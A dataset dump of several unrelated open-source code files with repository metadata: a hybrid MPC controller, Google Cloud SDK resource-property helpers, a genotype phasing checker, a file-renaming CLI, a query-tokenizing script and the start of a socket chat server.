HybridModelPredictiveController class from pympc.\n \"\"\"\n\n def __init__(self, S, N, Q, R, P, X_N):\n \"\"\"\n Arguments\n ----------\n S : PieceWiseAffineSystem\n PWA system to be controlled.\n N : int\n Horizon of the optimal control problem.\n Q : numpy.ndarray\n Quadratic cost for the state.\n R : numpy.ndarray\n Quadratic cost for the input.\n P : numpy.ndarray\n Quadratic cost for the terminal state.\n X_N : Polyhedron\n Terminal set.\n \"\"\"\n\n # bouild drake controller\n VectorSystem.__init__(self, S.nx, S.nu)\n self.controller = HybridModelPredictiveController(S, N, Q, R, Q, X_N)\n\n def _DoCalcVectorOutput(self, context, plant_state, unused, plant_input):\n print('Controller called at time ' + str(context.get_time()) + ' with state ' + str(plant_state) + ' \\r'),\n plant_input[:] = self.controller.feedback(plant_state)\n\nclass HybridModelPredictiveController(object):\n\n def __init__(self, S, N, Q, R, P, X_N):\n\n # store inputs\n self.S = S\n self.N = N\n self.Q = Q\n self.R = R\n self.P = P\n self.X_N = X_N\n\n # mpMIQP\n self.build_mpmiqp()\n\n def build_mpmiqp(self):\n\n # express the constrained dynamics as a list of polytopes in the (x,u,x+)-space\n P = graph_representation(self.S)\n m = big_m(P)\n\n # initialize program\n self.prog = MathematicalProgram()\n self.x = []\n self.u = []\n self.d = []\n obj = 0.\n self.binaries_lower_bound = []\n\n # initial conditions (set arbitrarily to zero in the building phase)\n self.x.append(self.prog.NewContinuousVariables(self.S.nx))\n self.initial_condition = []\n for k in range(self.S.nx):\n self.initial_condition.append(self.prog.AddLinearConstraint(self.x[0][k] == 0.).evaluator())\n\n # loop over time\n for t in range(self.N):\n\n # create input, mode and next state variables\n self.u.append(self.prog.NewContinuousVariables(self.S.nu))\n self.d.append(self.prog.NewBinaryVariables(self.S.nm))\n self.x.append(self.prog.NewContinuousVariables(self.S.nx))\n \n # enforce constrained dynamics (big-m methods)\n xux = np.concatenate((self.x[t], self.u[t], self.x[t+1]))\n for i in range(self.S.nm):\n mi_sum = np.sum([m[i][j] * self.d[t][j] for j in range(self.S.nm) if j != i], axis=0)\n for k in range(P[i].A.shape[0]):\n self.prog.AddLinearConstraint(P[i].A[k].dot(xux) <= P[i].b[k] + mi_sum[k])\n\n # SOS1 on the binaries\n self.prog.AddLinearConstraint(sum(self.d[t]) == 1.)\n\n # stage cost to the objective\n obj += .5 * self.u[t].dot(self.R).dot(self.u[t])\n obj += .5 * self.x[t].dot(self.Q).dot(self.x[t])\n\n # terminal constraint\n for k in range(self.X_N.A.shape[0]):\n self.prog.AddLinearConstraint(self.X_N.A[k].dot(self.x[self.N]) <= self.X_N.b[k])\n\n # terminal cost\n obj += .5 * self.x[self.N].dot(self.P).dot(self.x[self.N])\n self.objective = self.prog.AddQuadraticCost(obj)\n\n # set solver\n self.solver = GurobiSolver()\n self.prog.SetSolverOption(self.solver.solver_type(), 'OutputFlag', 1)\n\n\n def set_initial_condition(self, x0):\n for k, c in enumerate(self.initial_condition):\n c.UpdateLowerBound(x0[k:k+1])\n c.UpdateUpperBound(x0[k:k+1])\n\n def feedforward(self, x0):\n\n # overwrite initial condition\n self.set_initial_condition(x0)\n\n # solve MIQP\n result = self.solver.Solve(self.prog)\n\n # check feasibility\n if result != SolutionResult.kSolutionFound:\n return None, None, None, None\n\n # get cost\n obj = self.prog.EvalBindingAtSolution(self.objective)[0]\n\n # store argmin in list of vectors\n u = [self.prog.GetSolution(ut) for ut in self.u]\n x = [self.prog.GetSolution(xt) for xt in self.x]\n d = [self.prog.GetSolution(dt) for dt in self.d]\n\n # retrieve mode sequence and check integer feasibility\n ms = [np.argmax(dt) for dt in d]\n\n return u, x, ms, obj\n\n\n def feedback(self, x0):\n\n # get feedforward and extract first input\n u_feedforward = self.feedforward(x0)[0]\n if u_feedforward is None:\n return None\n\n return u_feedforward[0]\n\ndef graph_representation(S):\n '''\n For the PWA system S\n x+ = Ai x + Bi u + ci if Fi x + Gi u <= hi,\n returns the graphs of the dynamics (list of Polyhedron)\n [ Fi Gi 0] [ x] [ hi]\n [ Ai Bi -I] [ u] <= [-ci]\n [-Ai -Bi I] [x+] [ ci]\n '''\n P = []\n for i in range(S.nm):\n Di = S.domains[i]\n Si = S.affine_systems[i]\n Ai = np.vstack((\n np.hstack((Di.A, np.zeros((Di.A.shape[0], S.nx)))),\n np.hstack((Si.A, Si.B, -np.eye(S.nx))),\n np.hstack((-Si.A, -Si.B, np.eye(S.nx))),\n ))\n bi = np.concatenate((Di.b, -Si.c, Si.c))\n P.append(Polyhedron(Ai, bi))\n return P\n\ndef big_m(P_list, tol=1.e-6):\n '''\n For the list of Polyhedron P_list in the from Pi = {x | Ai x <= bi} returns a list of lists of numpy arrays, where m[i][j] := max_{x in Pj} Ai x - bi.\n\n '''\n m = []\n for i, Pi in enumerate(P_list):\n mi = []\n for j, Pj in enumerate(P_list):\n mij = []\n for k in range(Pi.A.shape[0]):\n sol = linear_program(-Pi.A[k], Pj.A, Pj.b)\n mijk = - sol['min'] - Pi.b[k]\n if np.abs(mijk) < tol:\n mijk = 0.\n mij.append(mijk)\n mi.append(np.array(mij))\n m.append(mi)\n return m", "repo_name": "TobiaMarcucci/pympc", "sub_path": "examples/pwa_from_urdf/utils.py", "file_name": "utils.py", "file_ext": "py", "file_size_in_byte": 12159, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 43, "dataset": "github-code", "pt": "7", "api": [{"api_name": "scipy.spatial.Voronoi", "line_number": 45, "usage_type": "call"}, {"api_name": "pympc.geometry.polyhedron.Polyhedron", "line_number": 60, "usage_type": "call"}, {"api_name": "numpy.vstack", "line_number": 60, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 60, "usage_type": "call"}, {"api_name": "pympc.geometry.polyhedron.Polyhedron", "line_number": 112, "usage_type": "call"}, {"api_name": "numpy.vstack", "line_number": 112, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 112, "usage_type": "call"}, {"api_name": "numpy.isclose", "line_number": 139, "usage_type": "call"}, {"api_name": "pympc.geometry.polyhedron.Polyhedron", "line_number": 149, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 149, "usage_type": "call"}, {"api_name": "pydrake.all.BasicVector", "line_number": 189, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 189, "usage_type": "call"}, {"api_name": "pydrake.all.FirstOrderTaylorApproximation", "line_number": 196, "usage_type": "call"}, {"api_name": "pympc.dynamics.discrete_time_systems.AffineSystem.from_continuous", "line_number": 197, "usage_type": "call"}, {"api_name": "pympc.dynamics.discrete_time_systems.AffineSystem", "line_number": 197, "usage_type": "name"}, {"api_name": "pympc.dynamics.discrete_time_systems.PieceWiseAffineSystem", "line_number": 206, "usage_type": "call"}, {"api_name": "pydrake.all.VectorSystem", "line_number": 208, "usage_type": "name"}, {"api_name": "pydrake.all.VectorSystem.__init__", "line_number": 232, "usage_type": "call"}, {"api_name": "pydrake.all.VectorSystem", "line_number": 232, "usage_type": "name"}, {"api_name": "pydrake.all.MathematicalProgram", "line_number": 261, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 283, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 285, "usage_type": "call"}, {"api_name": "pydrake.solvers.gurobi.GurobiSolver", "line_number": 305, "usage_type": "call"}, {"api_name": "pydrake.all.SolutionResult.kSolutionFound", "line_number": 323, "usage_type": "attribute"}, {"api_name": "pydrake.all.SolutionResult", "line_number": 323, "usage_type": "name"}, {"api_name": "numpy.argmax", "line_number": 335, "usage_type": "call"}, {"api_name": "numpy.vstack", "line_number": 362, "usage_type": "call"}, {"api_name": "numpy.hstack", "line_number": 363, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 363, "usage_type": "call"}, {"api_name": "numpy.hstack", "line_number": 364, "usage_type": "call"}, {"api_name": "numpy.eye", "line_number": 364, "usage_type": "call"}, {"api_name": "numpy.hstack", "line_number": 365, "usage_type": "call"}, {"api_name": "numpy.eye", "line_number": 365, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 367, "usage_type": "call"}, {"api_name": "pympc.geometry.polyhedron.Polyhedron", "line_number": 368, "usage_type": "call"}, {"api_name": "pympc.optimization.programs.linear_program", "line_number": 382, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 384, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 387, "usage_type": "call"}]} {"seq_id": "27771900769", "text": "from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import unicode_literals\n\nimport json\nimport re\n\nimport six\nfrom six.moves import range # pylint: disable=redefined-builtin\n\n\n_SNAKE_RE = re.compile(\n '((?<=[a-z0-9])[A-Z]+(?=[A-Z][a-z]|$)|(?!^)[A-Z](?=[a-z]))')\n\n\ndef _GetMetaDict(items, key, value):\n \"\"\"Gets the dict in items that contains key==value.\n\n A metadict object is a list of dicts of the form:\n [\n {key: value-1, ...},\n {key: value-2, ...},\n ...\n ]\n\n Args:\n items: A list of dicts.\n key: The dict key name.\n value: The dict key value.\n\n Returns:\n The dict in items that contains key==value or None if no match or not a\n metadict.\n \"\"\"\n try:\n for item in items:\n if item.get(key) == value:\n return item\n except (AttributeError, IndexError, TypeError, ValueError):\n pass\n return None\n\n\ndef _GetMetaDataValue(items, name, deserialize=False):\n \"\"\"Gets the metadata value for the item in items with key == name.\n\n A metadata object is a list of dicts of the form:\n [\n {'key': key-name-1, 'value': field-1-value-string},\n {'key': key-name-2, 'value': field-2-value-string},\n ...\n ]\n\n Examples:\n x.metadata[windows-keys].email\n Deserializes the 'windows-keys' metadata value and gets the email value.\n x.metadata[windows-keys]\n Gets the 'windows-key' metadata string value.\n x.metadata[windows-keys][]\n Gets the deserialized 'windows-key' metadata value.\n\n Args:\n items: The metadata items list.\n name: The metadata name (which must match one of the 'key' values).\n deserialize: If True then attempt to deserialize a compact JSON string.\n\n Returns:\n The metadata value for name or None if not found or if items is not a\n metadata dict list.\n \"\"\"\n item = _GetMetaDict(items, 'key', name)\n if item is None:\n return None\n value = item.get('value', None)\n if deserialize:\n try:\n return json.loads(value)\n except (TypeError, ValueError):\n pass\n return value\n\n\ndef ConvertToCamelCase(name):\n \"\"\"Converts snake_case name to camelCase.\"\"\"\n part = name.split('_')\n return part[0] + ''.join(x.title() for x in part[1:])\n\n\ndef ConvertToSnakeCase(name):\n \"\"\"Converts camelCase name to snake_case.\"\"\"\n return _SNAKE_RE.sub(r'_\\1', name).lower()\n\n\ndef ConvertToAngrySnakeCase(name):\n \"\"\"Converts camelCase name to ANGRY_SNAKE_CASE.\"\"\"\n return _SNAKE_RE.sub(r'_\\1', name).upper()\n\n\ndef GetMatchingIndex(index, func):\n \"\"\"Returns index converted to a case that satisfies func.\"\"\"\n if func(index):\n return index\n if not isinstance(index, six.string_types):\n return None\n for convert in [ConvertToCamelCase, ConvertToSnakeCase]:\n name = convert(index)\n if func(name):\n return name\n return None\n\n\ndef GetMatchingIndexValue(index, func):\n \"\"\"Returns the first non-None func value for case-converted index.\"\"\"\n value = func(index)\n if value:\n return value\n if not isinstance(index, six.string_types):\n return None\n for convert in [ConvertToCamelCase, ConvertToSnakeCase]:\n value = func(convert(index))\n if value:\n return value\n return None\n\n\ndef GetMessageFieldType(resource_key, message):\n \"\"\"Returns the messages module type for key in message and the actual key.\n\n Handles camelCase/snake_case key name variants for OnePlatform compatibility.\n Indices and slices in resource_key are ignored -- they are not needed for\n repeated field queries.\n\n Args:\n resource_key: Ordered list of key names/indices, applied left to right. Each\n element in the list may be one of:\n str - A resource property name. This could be a class attribute name or\n a dict index.\n int - A list index. Selects one member is the list. Negative indices\n count from the end of the list, starting with -1 for the last element\n in the list. An out of bounds index is not an error; it produces the\n value None.\n None - A list slice. Selects all members of a list or dict like object.\n A slice of an empty dict or list is an empty dict or list.\n message: The known proto message type if not None.\n\n Raises:\n KeyError: If key is not in message.\n\n Returns:\n (type, actual_key), the messages module type for key in message and the\n actual key (names in the proper case, indices omitted).\n \"\"\"\n actual_key = []\n for name in resource_key:\n if not isinstance(name, six.string_types):\n # Ignore indices and slices.\n continue\n for convert in (lambda x: x, ConvertToCamelCase, ConvertToSnakeCase):\n actual_name = convert(name)\n try:\n message = message.field_by_name(actual_name).type\n except (AttributeError, KeyError):\n pass\n else:\n break\n else:\n raise KeyError('Field {} not in message.'.format(name))\n actual_key.append(actual_name)\n if message == six.integer_types:\n # A distinction we don't need, especially since python 3 only has \"int\".\n # Also, dealing with a type tuple is a pain for callers.\n message = int\n return message, actual_key\n\n\ndef LookupField(resource_key, fields):\n \"\"\"Returns the actual_key match of resource_key in fields.\n\n Handles camelCase/snake_case key name variants for OnePlatform compatibility.\n Indices and slices in resource_key are ignored to normalize the lookup. This\n means that the lookup can determine the existence of an attribute name, but\n not a specific value among all repeated values.\n\n Args:\n resource_key: Ordered list of key names/indices, applied left to right. Each\n element in the list may be one of:\n str - A resource property name. This could be a class attribute name or\n a dict index.\n int - A list index. Selects one member is the list. Negative indices\n count from the end of the list, starting with -1 for the last element\n in the list. An out of bounds index is not an error; it produces the\n value None.\n None - A list slice. Selects all members of a list or dict like object.\n A slice of an empty dict or list is an empty dict or list.\n fields: The set of dotted field names to match against.\n\n Returns:\n The actual_key match of resource_key in fields or None if no match.\n \"\"\"\n for convert in (lambda x: x, ConvertToCamelCase, ConvertToSnakeCase):\n actual_key = [convert(name) if isinstance(name, six.string_types) else name\n for name in resource_key]\n lookup_key = '.'.join([name for name in actual_key\n if isinstance(name, six.string_types)])\n if lookup_key in fields:\n return actual_key\n return None\n\n\ndef Get(resource_obj, resource_key, default=None):\n \"\"\"Gets the value referenced by key in the object resource.\n\n Since it is common for resource instances to be sparse it is not an error if\n a key is not present in a particular resource instance, or if an index does\n not match the resource type.\n\n Args:\n resource_obj: The resource object possibly containing a value for key.\n resource_key: Ordered list of key names/indices, applied left to right. Each\n element in the list may be one of:\n str - A resource property name. This could be a class attribute name or\n a dict index.\n int - A list index. Selects one member is the list. Negative indices\n count from the end of the list, starting with -1 for the last element\n in the list. An out of bounds index is not an error; it produces the\n value None.\n None - A list slice. Selects all members of a list or dict like object.\n A slice of an empty dict or list is an empty dict or list.\n default: Get() returns this value if key is not in resource.\n\n Returns:\n The value, None if any of the given keys are not found. This is\n intentionally not an error. In this context a value can be any data\n object: dict, list, tuple, class, str, int, float, ...\n \"\"\"\n key = list(resource_key)\n resource = resource_obj\n while key:\n\n # Get the next key index. Some iterations may access the next key.\n index = key.pop(0)\n\n # Serialized sets are sorted lists.\n if isinstance(resource, set):\n resource = sorted(resource)\n\n # This if ordering checks builtin object attributes last. For\n # example, with resource = {'items': ...}, Get() treats 'items' as a dict\n # key rather than the builtin 'items' attribute of resource.\n\n if resource is None:\n # None is different than an empty dict or list.\n return default\n\n if hasattr(resource, 'items'):\n # dict-like\n if index is None:\n if key:\n # Inner slice: *.[].*\n return [Get(resource, [k] + key, default) for k in resource]\n # Trailing slice: *.[]\n return resource\n\n name = GetMatchingIndex(index, lambda x: x in resource)\n if name:\n resource = resource[name]\n continue\n\n if 'items' in resource:\n # It would be nice if there were a better metadata indicator.\n # _GetMetaDataValue() returns None if resource['items'] isn't really\n # metadata, so there is a bit more verification than just 'items' in\n # resource.\n\n def _GetValue(index):\n # pylint: disable=cell-var-from-loop\n return _GetMetaDataValue(\n resource['items'], index, deserialize=bool(key))\n\n resource = GetMatchingIndexValue(index, _GetValue)\n continue\n\n return default\n\n if isinstance(index, six.string_types):\n # class-like?\n name = GetMatchingIndex(index, lambda x: hasattr(resource, x))\n if name:\n r = getattr(resource, name, default)\n if not callable(r):\n resource = r\n continue\n\n if hasattr(resource, '__iter__') or isinstance(resource, six.string_types):\n # list-like\n if index is None:\n if key:\n # explicit inner slice: *.[].*\n return [Get(resource, [k] + key, default)\n for k in range(len(resource))]\n # explicit trailing slice: *.[]\n return resource\n\n if not isinstance(index, six.integer_types):\n if isinstance(index, six.string_types) and isinstance(resource, list):\n if len(resource) and isinstance(resource[0], dict):\n if key:\n # See the _GetMetaDict docstring for the proto meta dict layout.\n r = _GetMetaDict(resource, index, key[0])\n if r is not None:\n # meta-dict-like\n resource = r\n index = key.pop(0)\n continue\n else:\n # Handle leaf node [{'key': k, 'value': v}, ...] metadata to\n # support r.k:v filter terms.\n r = _GetMetaDataValue(resource, index)\n if r is not None:\n return r\n if index in resource[0]:\n # implicit inner slice\n # resource is a list. An explicit reference would be\n # \"resource[].foo\" which would be caught above. Implicit\n # \"resource.foo\" references are handled here.\n return [Get(resource, [k, index] + key, default)\n for k in range(len(resource))]\n\n # This is the last chance for index. If we fell through the index\n # would be ignored and the resource would be returned (incorrect).\n # Instead we return the list of non-None index values from the list\n # of dicts. See\n # resource_property_test.PropertyGetTest.testGetLastDictSlice for\n # an example.\n return ([f for f in [d.get(index) for d in resource] if f]\n or default)\n\n # Index mismatch.\n return default\n\n if index in range(-len(resource), len(resource)):\n resource = resource[index]\n continue\n\n # Resource or index mismatch.\n return default\n\n # Sets serialize to sorted lists.\n if isinstance(resource, set):\n resource = sorted(resource)\n\n return resource\n\n\ndef ResourceContainsKey(resource, key):\n \"\"\"True if resource contains key, else False.\"\"\"\n return Get(resource, key, None) is not None\n\n\ndef EvaluateGlobalRestriction(resource, restriction, pattern):\n \"\"\"Returns True if any attribute value in resource matches the RE pattern.\n\n This function is called to evaluate a global restriction on a resource. For\n example, --filter=\"Foo.Bar\" results in a call like this on each resource item:\n\n resource_property.EvaluateGlobalRestriction(\n resource,\n 'Foo.Bar',\n re.compile(re.escape('Foo.Bar'), re.IGNORECASE),\n )\n\n Args:\n resource: The object to check.\n restriction: The global restriction string.\n pattern: The global restriction pattern for matcing resource values.\n\n Returns:\n True if any attribute value in resource matches the RE pattern.\n \"\"\"\n if not resource:\n return False\n if isinstance(resource, six.string_types):\n try:\n return bool(pattern.search(resource))\n except TypeError:\n pass\n if isinstance(resource, (float, int)):\n try:\n return bool(pattern.search(str(resource)))\n except TypeError:\n pass\n try:\n for key, value in six.iteritems(resource):\n if not key.startswith('_') and EvaluateGlobalRestriction(\n value, restriction, pattern):\n return True\n except AttributeError:\n try:\n for value in resource:\n if EvaluateGlobalRestriction(value, restriction, pattern):\n return True\n return False\n except TypeError:\n pass\n try:\n for key, value in six.iteritems(resource.__dict__):\n if not key.startswith('_') and EvaluateGlobalRestriction(\n value, restriction, pattern):\n return True\n except AttributeError:\n pass\n return False\n\n\ndef IsListLike(resource):\n \"\"\"Checks if resource is a list-like iterable object.\n\n Args:\n resource: The object to check.\n\n Returns:\n True if resource is a list-like iterable object.\n \"\"\"\n return (isinstance(resource, list) or\n (hasattr(resource, '__iter__') and\n (hasattr(resource, 'next') or hasattr(resource, '__next__'))))\n", "repo_name": "twistedpair/google-cloud-sdk", "sub_path": "google-cloud-sdk/lib/googlecloudsdk/core/resource/resource_property.py", "file_name": "resource_property.py", "file_ext": "py", "file_size_in_byte": 14159, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 55, "dataset": "github-code", "pt": "7", "api": [{"api_name": "re.compile", "line_number": 12, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 77, "usage_type": "call"}, {"api_name": "six.string_types", "line_number": 103, "usage_type": "attribute"}, {"api_name": "six.string_types", "line_number": 117, "usage_type": "attribute"}, {"api_name": "six.string_types", "line_number": 155, "usage_type": "attribute"}, {"api_name": "six.integer_types", "line_number": 169, "usage_type": "attribute"}, {"api_name": "six.string_types", "line_number": 201, "usage_type": "attribute"}, {"api_name": "six.string_types", "line_number": 204, "usage_type": "attribute"}, {"api_name": "six.string_types", "line_number": 285, "usage_type": "attribute"}, {"api_name": "six.string_types", "line_number": 294, "usage_type": "attribute"}, {"api_name": "six.moves.range", "line_number": 300, "usage_type": "call"}, {"api_name": "six.integer_types", "line_number": 304, "usage_type": "attribute"}, {"api_name": "six.string_types", "line_number": 305, "usage_type": "attribute"}, {"api_name": "six.moves.range", "line_number": 327, "usage_type": "call"}, {"api_name": "six.moves.range", "line_number": 341, "usage_type": "call"}, {"api_name": "six.string_types", "line_number": 382, "usage_type": "attribute"}, {"api_name": "six.iteritems", "line_number": 393, "usage_type": "call"}, {"api_name": "six.iteritems", "line_number": 406, "usage_type": "call"}]} {"seq_id": "8784732293", "text": "import sys\nimport pandas as pd\nimport argparse\nimport gzip\n\nparser = argparse.ArgumentParser()\nparser.add_argument('--vcf', help='vcf with original statistical phasing', required=True)\nparser.add_argument('--rfmix_phased', help='filepath for RFMix re-phased alleles', required=True)\nparser.add_argument('--out', help='output filepath for differentially phased alleles', required=True)\nargs = parser.parse_args()\n\ndef check_phasing(row):\n if row.OG_phasing == row.RFMix_phasing:\n return(False)\n return(True)\n\ngeno_list = []\nwith gzip.open(args.vcf, 'rt') as geno_file:\n for line in geno_file:\n if line[0] == \"#\":\n continue\n else:\n line = line.split()\n pos = int(line[1])\n genotypes = line[9:]\n genotypes = \"\".join(genotypes).translate({ord('|'): ''})\n geno_list.append([pos, genotypes])\nOG_phasing = pd.DataFrame(geno_list, columns=[\"Position\", \"OG_phasing\"])\n\nrfmix_phasing = pd.read_csv(args.rfmix_phased, names=[\"RFMix_phasing\"])\nphasing_df = pd.concat([OG_phasing, rfmix_phasing], axis=1)\nphasing_df[\"Match\"] = phasing_df.apply(check_phasing, axis=1)\nphasing_df[phasing_df.Match == False].to_csv(args.out, sep='\\t', index=False)\n", "repo_name": "roshnipatel/LocalAncestry", "sub_path": "scripts/check_phasing.py", "file_name": "check_phasing.py", "file_ext": "py", "file_size_in_byte": 1228, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "78", "api": [{"api_name": "argparse.ArgumentParser", "line_number": 6, "usage_type": "call"}, {"api_name": "gzip.open", "line_number": 18, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 28, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 30, "usage_type": "call"}, {"api_name": "pandas.concat", "line_number": 31, "usage_type": "call"}]} {"seq_id": "9357876989", "text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n__author__ = \"nagracks\"\n__date__ = \"02-07-2016\"\n__license__ = \"MIT\"\n__copyright__ = \"Copyright © 2016 nagracks\"\n\nimport os\nimport re\nfrom argparse import ArgumentParser\n\n\nclass RenameIt(object):\n\n \"\"\"Class RenameIt\n\n Constructor args:\n :filename: Name of file\n :dryrun: Just dry run, not perform any action\n :silent:\n\n Methods:\n * prefix_it\n * postfix_it\n * lower_it\n * replace_space\n * camel_case\n * rename\n \"\"\"\n\n def __init__(self, filename, dryrun, silent):\n self.full_name = filename\n # Get filename and file extension #\n self.fname, self.fext = os.path.splitext(filename)\n # Suppress output?\n self.silent = silent\n # Are we actually doing anything or just preforming a dryrun?\n self.do_dryrun = dryrun\n\n if self.do_dryrun:\n print(\"PERFORMING A DRY RUN (NO ACTIONS WILL BE TAKEN)\")\n\n def _print(self, *msg):\n \"\"\"Print msg if not silent\n\n :msg: *str, What to print\n :return: None\n \"\"\"\n if not self.silent:\n print(msg)\n\n def _rename(self, new_name):\n \"\"\"Generic rename method with error handling\n\n :new_name: str, Filename to rename to\n :return: None\n \"\"\"\n try:\n if not self.do_dryrun:\n os.rename(self.full_name, new_name + self.fext)\n self._print(\"renaming: {old} --> {new}\".format(old=self.full_name,\n new=new_name + self.fext))\n # Set after every rename, makes it possible to run multiple\n # arguments\n self.fname = new_name\n self.full_name = self.fname + self.fext\n except OSError as e:\n self._print(\n \"Failed to rename {old} --> {new}: {err}\".\n format(old=self.full_name, new=new_name, err=e))\n\n def prefix_it(self, prefix_str):\n \"\"\"Prefix filename with prefix string\n\n :prefix_str: str, string to use as prefix in filename\n :returns: None\n \"\"\"\n old_name = self.fname\n new_name = prefix_str + old_name\n self._rename(new_name)\n\n def postfix_it(self, postfix_str):\n \"\"\"Postfix filename with postfix string\n\n :postfix_str: str, string to use as postfix in filename\n :returns: None\n \"\"\"\n old_name = self.fname\n new_name = old_name + postfix_str\n self._rename(new_name)\n\n def lower_it(self):\n \"\"\"Lowercase the filename\n :returns: None\n \"\"\"\n old_name = self.fname\n new_name = old_name.lower()\n self._rename(new_name)\n\n def replace_space(self, fill_char='_'):\n \"\"\"Replace spaces with fill_char\n\n :fill_char: default to '_'\n :returns: None\n \"\"\"\n old_name = self.fname\n new_name = old_name.replace(' ', fill_char)\n self._rename(new_name)\n\n def camel_case(self):\n \"\"\"Convert to camel case\n :returns: None\n \"\"\"\n old_name = self.fname.replace('_', ' ')\n modified_name = re.findall('[\\w]+', old_name.lower())\n new_name = ''.join([word.title() for word in modified_name])\n self._rename(new_name)\n\n def rename(self, rename_string):\n \"\"\" renames file to rename_string\n\n :rename_string: str, new filename\n :returns: None\n \"\"\"\n old_name = self.fname\n new_name = rename_string\n self._rename(new_name)\n\n\nif __name__ == \"__main__\":\n parser = ArgumentParser(description=\"Python Rename\")\n parser.add_argument(\n '-v',\n '--version',\n action='version',\n version='%(prog)s version 0.1'\n )\n parser.add_argument(\n '-A',\n '--prefix',\n dest='prefix',\n metavar='string',\n action='store',\n help=\"prefix filename with prefix string\"\n )\n parser.add_argument(\n '-B',\n '--postfix',\n dest='postfix',\n metavar='string',\n action='store',\n help=\"postfix filename with postfix string\"\n )\n parser.add_argument(\n '-r',\n '--rename',\n dest='rename',\n metavar='string',\n action='store',\n help=\"replace filename with string\"\n )\n parser.add_argument(\n '-n',\n '--dryrun',\n dest='dryrun',\n action='store_true',\n help=\"perform a dry run (will not run any actions)\"\n )\n parser.add_argument(\n '--lower',\n dest='lower',\n action='store_true',\n help=\"lowercase the filename\"\n )\n parser.add_argument(\n '--remove-space',\n action='store_true',\n help=\"remove space with underscore\"\n )\n parser.add_argument(\n '--camel-case',\n action='store_true',\n help=\"convert to camel case\"\n )\n parser.add_argument(\n '-s',\n '--silent',\n dest='silent',\n action='store_true',\n help=\"silence output\"\n )\n parser.add_argument(\n 'filename',\n help=\"filename\"\n )\n\n args = parser.parse_args()\n\n rename_it = RenameIt(args.filename, args.dryrun, args.silent)\n\n if args.rename:\n rename_it.rename(args.rename)\n if args.prefix:\n rename_it.prefix_it(args.prefix)\n if args.postfix:\n rename_it.postfix_it(args.postfix)\n if args.lower:\n rename_it.lower_it()\n if args.remove_space:\n rename_it.replace_space()\n if args.camel_case:\n rename_it.camel_case()\n", "repo_name": "nagracks/py_rename", "sub_path": "py_rename.py", "file_name": "py_rename.py", "file_ext": "py", "file_size_in_byte": 5804, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 12, "dataset": "github-code", "pt": "7", "api": [{"api_name": "os.path.splitext", "line_number": 35, "usage_type": "call"}, {"api_name": "os.path", "line_number": 35, "usage_type": "attribute"}, {"api_name": "os.rename", "line_number": 61, "usage_type": "call"}, {"api_name": "re.findall", "line_number": 116, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 132, "usage_type": "call"}]} {"seq_id": "15413164110", "text": "import pickle\r\nfrom transformers import AutoTokenizer\r\nfrom tqdm import tqdm\r\ntokenizer = AutoTokenizer.from_pretrained(\"naver/splade-cocondenser-ensembledistil\")\r\nimport json\r\n\r\nwith open(\"/data/lenam/topics/raw/2022_evaluation_topics_tree_v1.0.json\",\"r\") as tc22:\r\n\twith open(\"/data/lenam/topics/raw/2022_evaluation_topics_turn_ids.json\",\"r\") as ftids:\r\n\t\t_obj = json.load(tc22)\r\n\t\tobj = dict()\r\n\t\tfor _topic in _obj:\r\n\t\t\tobj[_topic['number']] = dict()\r\n\t\t\tfor _turn in _topic['turn']:\r\n\t\t\t\tobj[_topic['number']][_turn['number']] = {k:v for k,v in _turn.items() if k != 'number'}\r\n\t\ttids = json.load(ftids)\r\n\t\trw = dict()\r\n\r\n\t\tfor topic in tids:\r\n\t\t\trw[int(topic)] = dict()\r\n\t\t\tfor turn in tids[topic]:\r\n\t\t\t\trw[int(topic)][turn] = obj[int(topic)][turn]['manual_rewritten_utterance']\r\n\r\ndef process(rw):\r\n\ttokens = dict()\r\n\tfor topic in tqdm(rw):\r\n\t\ttokens[topic] = dict()\r\n\t\tfor turn in rw[topic]:\r\n\t\t\ttokens[topic][turn] = tokenizer(rw[topic][turn]).input_ids\r\n\treturn tokens\r\n\r\nwith open(\"/data/lenam/cvst/tc/rw22_tokens.pkl\",\"wb\") as f:\r\n\tpickle.dump(process(rw),f,protocol=-1)", "repo_name": "nam685/cosplade", "sub_path": "cvst/tc/golden_tokens_tc22.py", "file_name": "golden_tokens_tc22.py", "file_ext": "py", "file_size_in_byte": 1082, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 9, "dataset": "github-code", "pt": "78", "api": [{"api_name": "transformers.AutoTokenizer.from_pretrained", "line_number": 4, "usage_type": "call"}, {"api_name": "transformers.AutoTokenizer", "line_number": 4, "usage_type": "name"}, {"api_name": "json.load", "line_number": 9, "usage_type": "call"}, {"api_name": "json.load", "line_number": 15, "usage_type": "call"}, {"api_name": "tqdm.tqdm", "line_number": 25, "usage_type": "call"}, {"api_name": "pickle.dump", "line_number": 32, "usage_type": "call"}]} {"seq_id": "39844066909", "text": "from socket import socket,AF_INET,SOCK_STREAM\nimport threading,time\nfrom datetime import datetime\nfrom tkinter import *\nimport time\n# Sunucumuzu açalım :D\n#Yaşasın açık kaynaklı kod :))\n###############################\n# Mesajlaşma Serveri #\n# Tt : @canustun__ #\n# İg : @canustun.py #\n# Tg : @canustunn #\n###############################\n\nhost = \"localhost\"\nport = 80\nveri = socket(AF_INET,SOCK_STREAM)\n\nveri.bind((host,port))\nveri.listen(25)\n\ngonderme_onayi = False\n\nbanli_ipler = []\n\nkullanicilar,normal_ipler = [],[]\nkullanici_adlari = []\nyetkililer = []\n\n\"\"\"\ndef aktif_kullanici_adlar():\n global 